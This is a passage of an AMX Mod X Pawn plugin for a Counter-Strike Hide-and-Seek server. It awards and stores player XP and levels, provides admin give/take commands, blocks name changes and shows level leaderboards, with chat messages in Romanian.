MesajColorat(id, "!echipa[Level Mod] !verdeLevel : !echipa %i , !verdeXP: !echipa %i / %i ", hnsxp_playerlevel[id], hnsxp_playerxp[id], LEVELS[hnsxp_playerlevel[id]]);
//return PLUGIN_HANDLED
}
}
public plvls(id)
{
if ( !( is_user_connected ( id ) ) )
return PLUGIN_CONTINUE
new players[32], playersnum, name[40], motd[1024], len;
len = formatex(motd, charsmax(motd), "<html><br >");
get_players(players, playersnum);
for ( new i = 0 ; i < playersnum ; i++ ) {
get_user_name(players[i], name, charsmax(name));
len += formatex(motd[len], charsmax(motd) - len, "<br> <center>[LEVEL %i] %s [XP %i / %i]</center> ",hnsxp_playerlevel[players[i]], name, hnsxp_playerxp[players[i]], LEVELS[hnsxp_playerlevel[players[i]]]);
}
formatex(motd[len], charsmax(motd) - len, "</html>");
show_motd(id, motd);
return PLUGIN_HANDLED
}
public tlvl(id)
{
new poj_Name [ 32 ];
get_user_name(id, poj_Name, 31)
MesajColorat(0, "!verde[!echipaLevel-Mod!verde] !normal Jucatorul !verde %s !normalare level !verde %i",poj_Name, hnsxp_playerlevel[id]);
return PLUGIN_HANDLED
}
public hnsxp_death( iVictim, attacker, shouldgib )
{
if( !attacker || attacker == iVictim || !iVictim || !( is_user_connected( attacker ) ) || !( is_user_connected( iVictim ) ) )
return;
if(hnsxp_playerxp[attacker] > 2000000000) // sau level mai mare de 100
return;
new szName[ 32 ];
get_user_name( iVictim, szName, sizeof( szName ) -1 );
hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_kill);
MesajColorat(attacker,"!echipa[%s] !verdeAi primit %i XP pentru ca l-ai omorat pe %s!", PLUGIN_NAME, get_pcvar_num(hnsxp_kill), szName);
if(get_user_flags(attacker) & ADMIN_IMMUNITY && get_pcvar_num(vip_enable))
{
hnsxp_playerxp[attacker] += get_pcvar_num(vip_xp);
MesajColorat(attacker, "!echipa[%s]!verde Ai primit un bonus de %i xp pentru ca esti VIP !",PLUGIN_NAME,get_pcvar_num(vip_xp));
}
}
/*
public client_putinserver(id)
{
LoadData(id);
if((hnsxp_playerlevel[id] < 100 && (hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]]))) //new..
{
while(hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]])
{
hnsxp_playerlevel[id] += 1; // neb
}
}
}
*/
public SaveData(id)
{
new PlayerName[35];
get_user_name(id,PlayerName,34);
new vaultkey[64],vaultdata[256];
format(vaultkey,63,"%s",PlayerName);
format(vaultdata,255,"%i%%%i%%",hnsxp_playerxp[id],hnsxp_playerlevel[id]); //??
nvault_set(g_hnsxp_vault,vaultkey,vaultdata);
return PLUGIN_CONTINUE;
}
public LoadData(id)
{
new PlayerName[35];
get_user_name(id,PlayerName,34);
new vaultkey[64],vaultdata[256];
format(vaultkey,63,"%s",PlayerName);
format(vaultdata,255,"%i%%%i%%",hnsxp_playerxp[id],hnsxp_playerlevel[id]);
nvault_get(g_hnsxp_vault,vaultkey,vaultdata,255);
replace_all(vaultdata, 255, "%%", " "); //??
new playerxp[32], playerlevel[32];
parse(vaultdata, playerxp, 31, playerlevel, 31);
hnsxp_playerxp[id] = str_to_num(playerxp);
hnsxp_playerlevel[id] = str_to_num(playerlevel);
return PLUGIN_CONTINUE;
}
public cmd_give_level(id, level, cid)
{
if(!cmd_access(id, level, cid, 3))
return PLUGIN_HANDLED
new target[32], amount[21], reason[21]
read_argv(1, target, 31)
read_argv(2, amount, 20)
read_argv(3, reason, 20)
new player = cmd_target(id, target, 8)
if(!player)
return PLUGIN_HANDLED
new admin_name[32], player_name[32]
get_user_name(id, admin_name, 31)
get_user_name(player, player_name, 31)
new expnum = str_to_num(amount)
if(expnum > 100)
return PLUGIN_HANDLED
//MesajColorat(0, "!echipaADMIN %s: !verdeia dat %s level lui %s", admin_name, amount, player_name)
hnsxp_playerlevel[player] += expnum
SaveData(id)
return PLUGIN_CONTINUE
}
public cmd_give_xp(id, level, cid)
{
if(!cmd_access(id, level, cid, 3))
return PLUGIN_HANDLED
new target[32], amount[21], reason[21]
read_argv(1, target, 31)
read_argv(2, amount, 20)
read_argv(3, reason, 20)
new player = cmd_target(id, target, 8)
if(!player)
return PLUGIN_HANDLED
new admin_name[32], player_name[32]
get_user_name(id, admin_name, 31)
get_user_name(player, player_name, 31)
new expnum = str_to_num(amount)
if(expnum > 2000000000)
return PLUGIN_HANDLED
//MesajColorat(0, "!echipaADMIN %s: !verdeia dat %s xp lui %s", admin_name, amount, player_name)
hnsxp_playerxp[player] += expnum
SaveData(id)
return PLUGIN_CONTINUE
}
public cmd_take_level(id, level, cid)
{
if(!cmd_access(id, level, cid, 3))
return PLUGIN_HANDLED
new target[32], amount[21], reason[21]
read_argv(1, target, 31)
read_argv(2, amount, 20)
read_argv(3, reason, 20)
new player = cmd_target(id, target, 8)
if(!player)
return PLUGIN_HANDLED
new admin_name[32], player_name[32]
get_user_name(id, admin_name, 31)
get_user_name(player, player_name, 31)
new expnum = str_to_num(amount)
//MesajColorat(0, "!echipaADMIN %s: !verdeia luat %s level lui %s", admin_name, amount, player_name)
hnsxp_playerlevel[player] -= expnum
SaveData(id)
return PLUGIN_CONTINUE
}
public cmd_take_xp(id, level, cid)
{
if(!cmd_access(id, level, cid, 3))
return PLUGIN_HANDLED
new target[32], amount[21], reason[21]
read_argv(1, target, 31)
read_argv(2, amount, 20)
read_argv(3, reason, 20)
new player = cmd_target(id, target, 8)
if(!player)
return PLUGIN_HANDLED
new admin_name[32], player_name[32]
get_user_name(id, admin_name, 31)
get_user_name(player, player_name, 31)
new expnum = str_to_num(amount)
//MesajColorat(0, "!echipaADMIN %s: !verdeia luat %s level lui %s", admin_name, amount, player_name)
hnsxp_playerxp[player] -= expnum
SaveData(id)
return PLUGIN_CONTINUE
}
public t_win(id)
{
new iPlayer [ 32 ], iNum;
get_players(iPlayer, iNum, "ae", "TERRORIST")
for ( new i = 0; i < iNum; i++ ) {
hnsxp_playerxp[iPlayer [ i ]] += get_pcvar_num(tero_win);
MesajColorat(iPlayer[i], "!echipa[Level Mod] !verdeAi primit !echipa %i xp !verde pentru ca echipa !echipaT !verdea castigat !",get_pcvar_num(tero_win));
if(hnsxp_playerlevel[iPlayer[i]] > 2000000000) // sau level mai mare de 100
return;
}
}
public ClientUserInfoChanged(id)
{
static const name[] = "name"
static szOldName[32], szNewName[32]
pev(id, pev_netname, szOldName, charsmax(szOldName))
if( szOldName[0] )
{
get_user_info(id, name, szNewName, charsmax(szNewName))
if( !equal(szOldName, szNewName) )
{
set_user_info(id, name, szOldName)
ColorChat(id, TEAM_COLOR,"^1[^3 HnS.Ecila.Ro^1 ] Pe acest server nu este permisa schimbarea numelui!!!");
return FMRES_HANDLED
}
}
return FMRES_IGNORED
}
public CurrentWeapon ( id ) {
switch ( hnsxp_playerlevel [ id ] ) {
case 60..79: set_user_maxspeed ( id, 270.0 );
case 80..100: set_user_maxspeed ( id, 300.0 );
}
}
public cmdLevels ( id ) {
new i, count;
static sort [ 33 ] [ 2 ], maxPlayers;
if ( !maxPlayers ) maxPlayers = get_maxplayers ( );
for ( i= 1; i <= maxPlayers; i++ )
{
sort [ count ][ 0 ] = i;
sort [ count ][ 1 ] = hnsxp_playerlevel [ i ];
count++;
}
SortCustom2D ( sort,count, "stats_custom_compare" );
new motd [ 1024 ], len;
len = format ( motd, 1023, "<body bgcolor=#black><center><font color=#black><pre>" );
len += format ( motd [ len ], 1023-len,"%s %-22.22s %3s^n", "#", "Name", "Level" );
new players [ 32 ], num;
get_players ( players, num );
new b = clamp ( count,0,get_playersnum ( ) );
new name [ 32 ], player;
for ( new a = 0; a < b; a++ )
{
player = sort [ a ] [ 0 ];
get_user_name ( player, name, 31 );
len += format ( motd [ len ], 1023-len,"%d %-22.22s %d^n", a+1, name, sort [ a ] [ 1 ] );
}
len += format ( motd [ len ], 1023-len,"</body></font></pre></center>" );
show_motd( id, motd, "Player's Level" );
return PLUGIN_CONTINUE;
}
public stats_custom_compare ( elem1 [ ], elem2 [ ] ) {
if ( elem1 [ 1 ] > elem2 [ 1 ] ) return -1;
else if ( elem1 [ 1 ] < elem2 [ 1 ] ) return 1;
return 0;
}
stock MesajColorat(const id, const input[], any:...)
{
new count = 1, players[32]
static msg[191]
vformat(msg, 190, input, 3)
replace_all(msg, 190, "!verde", "^4")
replace_all(msg, 190, "!normal", "^1")
replace_all(msg, 190, "!echipa", "^3")
if (id) players[0] = id; else get_players(players, count, "ch")
{
for (new i = 0; i < count; i++)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
write_byte(players[i]);
write_string(msg);
message_end();
}
}
}
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/